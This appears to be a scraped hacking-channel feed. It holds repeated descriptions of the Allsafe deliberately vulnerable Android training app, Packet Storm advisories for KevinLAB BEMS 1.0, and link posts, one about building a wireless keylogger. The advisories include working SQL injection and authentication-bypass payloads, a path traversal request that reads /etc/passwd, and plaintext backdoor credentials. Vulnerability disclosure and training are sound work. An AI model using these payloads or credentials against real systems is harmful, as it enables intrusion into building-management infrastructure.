ownCloud WebView XSS (https://hackerone.com/reports/87835)
11. Smali Patching
In this task, you have to modify the execution flow of the application by editing the Smali code. Finally, rebuild and sign the APK!
Resources & HackerOne Reports:
Uber APK Signer (https://github.com/patrickfav/uber-apk-signer)
12. Native Library
The application uses a native library that validates the entered password. Reverse engineer the library to find the password then use Frida to hook the native method.
Resources & HackerOne Reports:
Ghidra (https://github.com/NationalSecurityAgency/ghidra) Cutter (https://github.com/rizinorg/cutter)

Download Allsafe (https://github.com/t0thkr1s/allsafe)

Allsafe - Intentionally Vulnerable Android Application

Allsafe is an intentionally vulnerable application that contains various vulnerabilities. Unlike other vulnerable Android apps, this one is less like a CTF and more like a real-life application that uses modern libraries and technologies. Additionally, I have included some Frida based challenges for you to explore. Have fun and happy hacking!Useful Frida Scripts I have my Frida scripts (more like templates) in other repository. I'm sure they might be quite handy for the Frida related tasks. Check it out: https://github.com/t0thkr1s/frida Tasks / Vulnerabilities 1. Insecure Logging Simple information disclosure vulnerability. Use the logcat command-line tool to discover sensitive information. Resources & HackerOne Reports: Logcat Tool Coinbase OAuth Response Code Leak2. Hardcoded Credentials Some credentials are left in the code. Your task is to reverse engineer the app and find sensitive information. Resources & HackerOne Reports: Zomato Hardcoded Credentials 8x8 Hardcoded Credentials Reverb Hardcoded API Secret3. Root Detection This is purely for Frida practice. Make the code believe that you device is not rooted!4. Arbitrary Code Execution Loading modules securely with third-party apps are not easy. Write a PoC application and exploit the vulnerability! Resources & HackerOne Reports: Arbitrary Code Execution via Third-Party Package Contexts5. Secure Flag Bypass Another Frida-based task. No real vulnerability here, just have fun bypassing the secure flag! Resources & HackerOne Reports: Android FLAG_SECURE Reference6. Certificate Pinning Bypass Certificate pinning is implemented using the OkHttp library. You have to bypass it in order to view the traffic with Burp Suite. Resources & HackerOne Reports: Certificate and Public Key Pinning Coinbase Vulnerabilities7. Insecure Broadcast Receiver There's a vulnerable broadcast recevier in the application. Trigger it with the correct data and you're done! Resources & HackerOne Reports: Android Broadcasts Overview ok.ru Broadcast Receiver Exploitation Bitwarden Vulnerable Broadcast Receiver8. Deep Link Exploitation Similar to the insecure broadcast receiver, you need to provide the right query parameter to complete this task! Resources & HackerOne Reports: Android Deep Linking Grab Insecure Deep Link Periscope Deep Link CSRF9. SQL Injection Just a regular SQL injection that you'd find in web applications. No need to reverse the code to bypass the login mechanism. Resources & HackerOne Reports: SQL Injection in Content Provider Show me how it's done! # TODO 10. Vulnerable WebView You can also complete this task without decompiling the application. Pop an alert dialog and read files! Resources & HackerOne Reports: ownCloud WebView XSS11. Smali Patching In this task, you have to modify the execution flow of the application by editing the Smali code. Finally, rebuild and sign the APK! Resources & HackerOne Reports: Uber APK Signer12. Native Library The application uses a native library that validates the entered password. Reverse engineer the library to find the password then use Frida to hook the native method. Resources & HackerOne Reports: Ghidra Cutter Download Allsafe
Read more...

hacking: security in practice
Multi-tool device for hackers Flipper Zero started manufacturing! The challenges they face due to COVID semiconductor crisis in the Flipper blog post

https://external-preview.redd.it/JFMMPT8e-90Zp3IpZIaohtf6uQmfFXkNi3WPdO7N31c.jpg?width=640&crop=smart&auto=webp&s=6a1481e42f8087cbbbee92a95bdf913c3e9396b8 submitted by /u/Serega_Barsukov
[link] [comments]

Exploit Collector
KevinLAB BEMS 1.0 Unauthenticated SQL Injection / Authentication Bypass

https://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png
KevinLAB BEMS version 1.0 suffers from an unauthenticated SQL Injection vulnerability. Input passed through input_id POST parameter in /http/index.php is not properly sanitized before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code to bypass the authentication mechanism.

MD5 | 3498bc654a493cbf9b46522829eb067c

Download

KevinLAB BEMS 1.0 Unauthenticated SQL Injection / Authentication Bypass
Vendor: KevinLAB Inc.
Product web page: http://www.kevinlab.com
Affected version: 4ST L-BEMS 1.0.0 (Building Energy Management System)

Summary: KevinLab is a venture company specialized in IoT, Big Data, A.I based energy
management platform. KevinLAB's BEMS (Building Energy Management System) enables
efficient energy management in buildings. It improves the efficient of energy use
by collecting and analyzing various information of energy usage and facilities in
the building. It also manages energy usage, facility efficiency and indoor environment
control.

Desc: The application suffers from an unauthenticated SQL Injection vulnerability.
Input passed through 'input_id' POST parameter in '/http/index.php' is not properly
sanitised before being returned to the user or used in SQL queries. This can be exploited
to manipulate SQL queries by injecting arbitrary SQL code and bypass the authentication
mechanism.

Tested on: Linux CentOS 7
Apache 2.4.6
Python 2.7.5
PHP 5.4.16
MariaDB 5.5.68
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5655
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5655.php
05.07.2021

--
PoC POST data payload (extract):
--------------------------------

POST /http/index.php HTTP/1.1
Host: 192.168.1.3

requester=login
request=login
params=[{"name":"input_id","value":"USERNAME' AND EXTRACTVALUE(1337,CONCAT(0x5C,0x5A534C,(SELECT (ELT(1337=1337,1))),0x5A534C)) AND 'joxy'='joxy"},{"name":"input_passwd","value":"PASSWORD"},{"name":"device_id","value":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"},{"name":"checked","value":false},{"name":"login_key","value":""}]
PoC POST data payload (authbypass):
-----------------------------------

POST /http/index.php HTTP/1.1
Host: 192.168.1.3

requester=login
request=login
params=[{"name":"input_id","value":"USERNAME' or 1=1--},{"name":"input_passwd","value":"PASSWORD"},{"name":"device_id","value":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"},{"name":"checked","value":false},{"name":"login_key","value":""}]

Source:packetstormsecurity.com

Exploit Collector
KevinLAB BEMS 1.0 Authenticated File Path Traversal / Information Disclosure

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
KevinLAB BEMS version 1.0 suffers from an authenticated arbitrary file disclosure vulnerability. Input passed through the page GET parameter in index.php is not properly verified before being used to include files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.

MD5 | 4bc3f448faf6a5df2c5354ab9084063b

Download

KevinLAB BEMS 1.0 Authenticated File Path Traversal Information Disclosure
Vendor: KevinLAB Inc.
Product web page: http://www.kevinlab.com
Affected version: 4ST L-BEMS 1.0.0 (Building Energy Management System)

Summary: KevinLab is a venture company specialized in IoT, Big Data, A.I based energy
management platform. KevinLAB's BEMS (Building Energy Management System) enables
efficient energy management in buildings. It improves the efficient of energy use
by collecting and analyzing various information of energy usage and facilities in
the building. It also manages energy usage, facility efficiency and indoor environment
control.

Desc: The BEMS suffers from an authenticated arbitrary file disclosure vulnerability.
Input passed through the 'page' GET parameter in index.php is not properly verified
before being used to include files. This can be exploited to disclose the contents
of arbitrary and sensitive files via directory traversal attacks.

Tested on: Linux CentOS 7
Apache 2.4.6
Python 2.7.5
PHP 5.4.16
MariaDB 5.5.68
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5656
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5656.php
05.07.2021

--
GET https://192.168.1.3/pages/index.php?page=../../../../etc/passwd HTTP/1.1

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
...
...

Source:packetstormsecurity.com

Exploit Collector
KevinLAB BEMS 1.0 Undocumented Backdoor Account

https://3.bp.blogspot.com/-GFxdnkVY0Lw/WWlvniKY45I/AAAAAAAAIRU/77qCibw7l9gJ7HKa7eHBCfMI2N56gMPzwCLcBGAs/s1600/hack_img6.png
KevinLAB BEMS version 1.0 has an undocumented backdoor account and the sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution thru the RMI. Attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely.

MD5 | a9e653ecb20d44dc4da9b97ffbe54252

Download

KevinLAB BEMS 1.0 Undocumented Backdoor Account
Vendor: KevinLAB Inc.
Product web page: http://www.kevinlab.com
Affected version: 4ST L-BEMS 1.0.0 (Building Energy Management System)

Summary: KevinLab is a venture company specialized in IoT, Big Data, A.I based energy
management platform. KevinLAB's BEMS (Building Energy Management System) enables
efficient energy management in buildings. It improves the efficient of energy use
by collecting and analyzing various information of energy usage and facilities in
the building. It also manages energy usage, facility efficiency and indoor environment
control.

Desc: The BEMS solution has an undocumented backdoor account and these sets of
credentials are never exposed to the end-user and cannot be changed through any
normal operation of the solution thru the RMI. Attacker could exploit this
vulnerability by logging in using the backdoor account with highest privileges
for administration and gain full system control. The backdoor user cannot be
seen in the users settings in the admin panel and it also uses an undocumented
privilege level (admin_pk=1) which allows full availability of the features that
the BEMS is offering remotely.

Tested on: Linux CentOS 7
Apache 2.4.6
Python 2.7.5
PHP 5.4.16
MariaDB 5.5.68
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5654
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5654.php
05.07.2021

--
Backdoor accounts from the DB:
------------------------------

Username: kevinlab (permission=1)
Password: kevin003

Username: developer1 (permission=6)
Password: 1234

Source:packetstormsecurity.com

KitPloit - PenTest Tools!
Allsafe - Intentionally Vulnerable Android Application

https://1.bp.blogspot.com/-a1eWrvdtZ_U/YO94HY5o7NI/AAAAAAAAjQ8/9yuaKAqM6nI2zyQobqBp_dszsd4Tm1HkQCNcBGAsYHQ/s0/allsafe_1_ic_launcher_round.png Allsafe is an intentionally vulnerable application that contains various vulnerabilities. Unlike other vulnerable Android apps, this one is less like a CTF and more like a real-life application that uses modern libraries and technologies. Additionally, I have included some Frida based challenges for you to explore. Have fun and happy hacking! Useful Frida ScriptsI have my Frida scripts (more like templates) in other repository. I'm sure they might be quite handy for the Frida related tasks. Check it out: https://github.com/t0thkr1s/frida Tasks / Vulnerabilities1. Insecure LoggingSimple information disclosure vulnerability. Use the logcatcommand-line tool to discover sensitive information. Resources & HackerOne Reports:* Logcat Tool
* Coinbase OAuth Response Code Leak 2. Hardcoded CredentialsSome credentials are left in the code. Your task is to reverse engineer the app and find sensitive information. Resources & HackerOne Reports:* Zomato Hardcoded Credentials
* 8x8 Hardcoded Credentials
* Reverb Hardcoded API Secret 3. Root DetectionThis is purely for Frida practice. Make the code believe that you device is not rooted! 4. Arbitrary Code ExecutionLoading modules securely with third-party apps are not easy. Write a PoC application and exploit the vulnerability! Resources & HackerOne Reports:* Arbitrary Code Execution via Third-Party Package Contexts 5. Secure Flag BypassAnother Frida-based task. No real vulnerability here, just have fun bypassing the secure flag! Resources & HackerOne Reports:* Android FLAG_SECURE Reference 6. Certificate Pinning BypassCertificate pinning is implemented using the OkHttp library. You have to bypass it in order to view the traffic with Burp Suite. Resources & HackerOne Reports:* Certificate and Public Key Pinning
* Coinbase Vulnerabilities 7. Insecure Broadcast ReceiverThere's a vulnerable broadcast recevier in the application. Trigger it with the correct data and you're done! Resources & HackerOne Reports:* Android Broadcasts Overview
* ok.ru Broadcast Receiver Exploitation
* Bitwarden Vulnerable Broadcast Receiver 8. Deep Link ExploitationSimilar to the insecure broadcast receiver, you need to provide the right query parameter to complete this task! Resources & HackerOne Reports:* Android Deep Linking
* Grab Insecure Deep Link
* Periscope Deep Link CSRF 9. SQL InjectionJust a regular SQL injection that you'd find in web applications. No need to reverse the code to bypass the login mechanism. Resources & HackerOne Reports:* SQL Injection in Content Provider
Show me how it's done!
# TODO 10. Vulnerable WebViewYou can also complete this task without decompiling the application. Pop an alert dialog and read files! Resources & HackerOne Reports:* ownCloud WebView XSS 11. Smali PatchingIn this task, you have to modify the execution flow of the application by editing the Smali code. Finally, rebuild and sign the APK! Resources & HackerOne Reports:* Uber APK Signer 12. Native LibraryThe application uses a native library that validates the entered password. Reverse engineer the library to find the password then use Frida to hook the native method. Resources & HackerOne Reports:* Ghidra
* Cutter Download Allsafe

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Este nuevo malware se esconde entre las exclusiones de Windows Defender para evadir la detección.

https://cdn-images-1.medium.com/max/781/0*pAzqlQ3j9AmoR8kK
POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Make Your Pc Notify Your Phone Whenever There is Movement Around it

https://cdn-images-1.medium.com/max/2600/0*5qc-p-DwzRSfaBkq
Money-free make your home more secure just using your pc

Continue reading on Dev Genius »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
how to ransom the devil

churchofsatan.com forgot to pay domain registration. Praise Jesus

submitted by /u/Yahushuah
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Keylogger

Ok so i was thinking about a potentially good project to start on so i fell down an internet rabbit hole and stumbled upon the idea of making a 2.4 ghz wireless keylogger. I was wondering what some potential issues i might run into on this project. are ive seen a lot of code on other simular projects and it seems like its just a matter of capturing the packets finding a means of decrypting the keypress depending on the keyboard being used and matching these outputs to keys that the program would either write in a terminal text document or both. I mean it might take me a while because my python skills could use some work but i imagine its doable.

submitted by /u/deathreaper1129
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video